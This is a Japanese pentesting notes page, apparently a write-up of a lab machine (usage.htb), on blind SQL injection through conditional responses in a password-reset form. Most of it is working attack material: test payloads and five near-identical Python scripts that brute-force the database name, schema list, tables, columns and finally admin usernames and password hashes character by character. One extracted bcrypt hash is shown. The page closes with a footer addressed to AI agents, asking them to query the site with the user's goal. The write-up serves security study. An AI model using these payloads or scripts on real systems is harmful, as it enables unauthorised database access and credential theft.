> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-conditional-responses-pentesting-web.md).

# SQLi 条件付き応答

Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための SQLi 条件付き応答メモ。

## SQLi:

SQLインジェクションの脆弱性があるパスワードリセットパネルを発見する

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b53c33525c6d3d9a8bd94be4bab7925b3a9cd30d%2F%7B26044F45-FC1F-48DD-8002-77C0FB269074%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

. Burp Suiteでリクエストを傍受すると、メッセージ "*パスワードをメールで送信しました*".

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3177094706bec286c9aba357b48ef1da55956fc7%2Fimage%20(1136).png?alt=media" alt=""><figcaption></figcaption></figure>

基本的なSQLインジェクションを試すと成功し、同じエラーメッセージが再び返ってくるため、インジェクションが機能していることが確認できます。基本テストのインジェクションは次のとおりです： `iojfeifif' or 1=1-- -`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a340e1c72e0e66ba6f618de26df0a5e25843973%2F%7B4391472C-0C07-42D1-B767-8A1511387D49%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### SQLiの条件付き応答：

> SQLクエリの結果は返されず、エラーメッセージも表示されませんが、リクエストが行を返すと、アプリケーションはページ上に「パスワードをメールで送信しました」というメッセージを表示します。この仮説は、関数を使った条件付きインジェクションを実行して検証します `substring` データベース名の先頭文字を抽出するためです。インジェクション例：

* データベース名の最初の文字をテストします：/ `dwwdw' or substring(database(),1,1)='u'-- -`
* データベース名の2文字目をテストします： `dwwdw' or substring(database(),2,1)='s'-- -`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b266008d7400500d063c1836e082ac5d316ce1c5%2Fimage%20(1137).png?alt=media" alt=""><figcaption></figcaption></figure>

### データベース名の列挙：

Pythonスクリプトでデータベース名の探索を自動化し、特定のペイロードを送信して、サーバーが「パスワードをメールで送信しました」という応答を表示したときに結果を記録します。

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# 条件付きSQLiレスポンス
def def_handler(sig, frame):
    print("/n/n[!] 終了中.../n")
    sys.exit(1)
# 条件付きSQLiレスポンス
signal.signal(signal.SIGINT, def_handler)
# 条件付きSQLiレスポンス
characters = string.ascii_letters + string.digits + "-/;.$_@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("SQLインジェクション")
    p1.status("SQLインジェクションを開始しています...")
    time.sleep(2)
    p2 = log.progress("抽出されたデータ")
    for position in range(1, 20):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring(database(),{position},1)='{character}'-- -"
            }
            # ペイロードを付けてPOSTリクエストを送信する
            r = requests.post(main_url, headers=headers, data=payload)
            # 現在テスト中の文字をリアルタイムで表示する
            p1.status(f"位置 {position}: {character}")
            # 正しい文字を確認するためにサーバーからの特定の応答を確認する
            if "パスワードをメールで送信しました" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # この位置で文字が見つかった場合は、次の位置へ進む
        if found_character:
            p1.status(f"位置 {position} を発見: {data[-1]}")
        else:
            p1.status(f"位置 {position}: 文字が見つかりません")
    p1.success("ブルートフォースSQLインジェクション完了")
    p2.success(f"抽出されたデータ: {data}")
if __name__ == '__main__':
    sqli()

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b6ca818cd5433035797610c91e599561dd966de%2Fimage%20(1138).png?alt=media" alt="" width="440"><figcaption></figcaption></figure>

### データベースの列挙：

サーバー上のすべてのデータベースを列挙するためにペイロードを修正します。ここでは `group_concat` から `information_schema.schemata` を使用して、利用可能なデータベース名を取得します。

{% code overflow="wrap" fullWidth="false" %}

```sql
' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)

```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# 条件付きSQLiレスポンス
def def_handler(sig, frame):
    print("/n/n[!] 終了中.../n")
    sys.exit(1)
# 条件付きSQLiレスポンス
signal.signal(signal.SIGINT, def_handler)
# 条件付きSQLiレスポンス
characters = string.ascii_letters + string.digits + "-,/;.$_@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("SQLインジェクション")
    p1.status("SQLインジェクションを開始しています...")
    time.sleep(2)
    p2 = log.progress("抽出されたデータ")
    for position in range(1, 100):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)
            }
            # ペイロードを付けてPOSTリクエストを送信する
            r = requests.post(main_url, headers=headers, data=payload)
            # 現在テスト中の文字をリアルタイムで表示する
            p1.status(f"位置 {position}: {character}")
            # 正しい文字を確認するためにサーバーからの特定の応答を確認する
            if "パスワードをメールで送信しました" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # この位置で文字が見つかった場合は、次の位置へ進む
        if found_character:
            p1.status(f"位置 {position} を発見: {data[-1]}")
        else:
            p1.status(f"位置 {position}: 文字が見つかりません")
    p1.success("ブルートフォースSQLインジェクション完了")
    p2.success(f"抽出されたデータ: {data}")
if __name__ == '__main__':
    sqli()

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2db74325ff348b02756fbb13a1560f9acbdb994%2F%7B0924BE89-8289-43C8-B1E6-365D9CEB6985%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### データベースのテーブル列挙 `usage_blog`:

見つかった後、 `usage_blog` データベースに対して、再びペイロードを修正してこのデータベース内のテーブルを列挙します。ここでは `group_concat` 関数を使って、次のすべてのテーブル名を取得します： `usage_blog` データベース。

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character)

```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# 条件付きSQLiレスポンス
def def_handler(sig, frame):
    print("/n/n[!] 終了中.../n")
    sys.exit(1)
# 条件付きSQLiレスポンス
signal.signal(signal.SIGINT, def_handler)
# 条件付きSQLiレスポンス
characters = string.ascii_letters + string.digits + "-,/.;$_@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("SQLインジェクション")
    p1.status("SQLインジェクションを開始しています...")
    time.sleep(2)
    p2 = log.progress("抽出されたデータ")
    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character)
            }
            # ペイロードを付けてPOSTリクエストを送信する
            r = requests.post(main_url, headers=headers, data=payload)
            # 現在テスト中の文字をリアルタイムで表示する
            p1.status(f"位置 {position}: {character}")
            # 正しい文字を確認するためにサーバーからの特定の応答を確認する
            if "パスワードをメールで送信しました" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # この位置で文字が見つかった場合は、次の位置へ進む
        if found_character:
            p1.status(f"位置 {position} を発見: {data[-1]}")
        else:
            p1.status(f"位置 {position}: 文字が見つかりません")
    p1.success("ブルートフォースSQLインジェクション完了")
    p2.success(f"抽出されたデータ: {data}")
if __name__ == '__main__':
    sqli()

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b46a64c7b718776df73e9983c1a7a958afa04182%2Fimage%20(1139).png?alt=media" alt=""><figcaption></figcaption></figure>

### テーブルのカラム列挙 `admin_users`:

テーブルを特定したら、対象をそのテーブルに絞ります `admin_users` そのカラムを列挙するために、再び関数を使います `group_concat` この特定のテーブルのカラム名を取得します。

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1
)='%s" % (position, character)

```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# 条件付きSQLiレスポンス
def def_handler(sig, frame):
    print("/n/n[!] 終了中.../n")
    sys.exit(1)
# 条件付きSQLiレスポンス
signal.signal(signal.SIGINT, def_handler)
# 条件付きSQLiレスポンス
characters = string.ascii_letters + string.digits + "-,/;$._@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("SQLインジェクション")
    p1.status("SQLインジェクションを開始しています...")
    time.sleep(2)
    p2 = log.progress("抽出されたデータ")
    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1)='%s" % (position, character)
            }
            # ペイロードを付けてPOSTリクエストを送信する
            r = requests.post(main_url, headers=headers, data=payload)
            # 現在テスト中の文字をリアルタイムで表示する
            p1.status(f"位置 {position}: {character}")
            # 正しい文字を確認するためにサーバーからの特定の応答を確認する
            if "パスワードをメールで送信しました" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # この位置で文字が見つかった場合は、次の位置へ進む
        if found_character:
            p1.status(f"位置 {position} を発見: {data[-1]}")
        else:
            p1.status(f"位置 {position}: 文字が見つかりません")
    p1.success("ブルートフォースSQLインジェクション完了")
    p2.success(f"抽出されたデータ: {data}")
if __name__ == '__main__':
    sqli()

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6acac067804c8bbf592d3eeb554149f0c5cd3dca%2F%7BD9220E36-AABF-4AC0-9878-A581F4B69EED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 表示： `username` および `パスワード`:

テーブル内のユーザーの資格情報とパスワードを表示するには `admin_users`、SQLクエリをフィールドを連結する形に変更します `username` および `パスワード`

{% code overflow="wrap" %}

```sql
' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)

```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
# 条件付きSQLiレスポンス
def def_handler(sig, frame):
    print("/n/n[!] 終了中.../n")
    sys.exit(1)
# 条件付きSQLiレスポンス
signal.signal(signal.SIGINT, def_handler)
# 条件付きSQLiレスポンス
characters = string.ascii_letters + string.digits + "-:.,/;$_@#~%&*"
main_url = "http://usage.htb/forget-password"
def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }
    data = ""
    p1 = log.progress("SQLインジェクション")
    p1.status("SQLインジェクションを開始しています...")
    time.sleep(2)
    p2 = log.progress("抽出されたデータ")
    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)
            }
            # ペイロードを付けてPOSTリクエストを送信する
            r = requests.post(main_url, headers=headers, data=payload)
            # 現在テスト中の文字をリアルタイムで表示する
            p1.status(f"位置 {position}: {character}")
            # 正しい文字を確認するためにサーバーからの特定の応答を確認する
            if "パスワードをメールで送信しました" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break
        # この位置で文字が見つかった場合は、次の位置へ進む
        if found_character:
            p1.status(f"位置 {position} を発見: {data[-1]}")
        else:
            p1.status(f"位置 {position}: 文字が見つかりません")
    p1.success("ブルートフォースSQLインジェクション完了")
    p2.success(f"抽出されたデータ: {data}")
if __name__ == '__main__':
    sqli()

```

`admin:$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9939cc0c88478d003f71c003e8c56c78c274f6b2%2F%7B8CE976F0-7703-4875-8A74-A1BDB5EB3AEF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-conditional-responses-pentesting-web.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
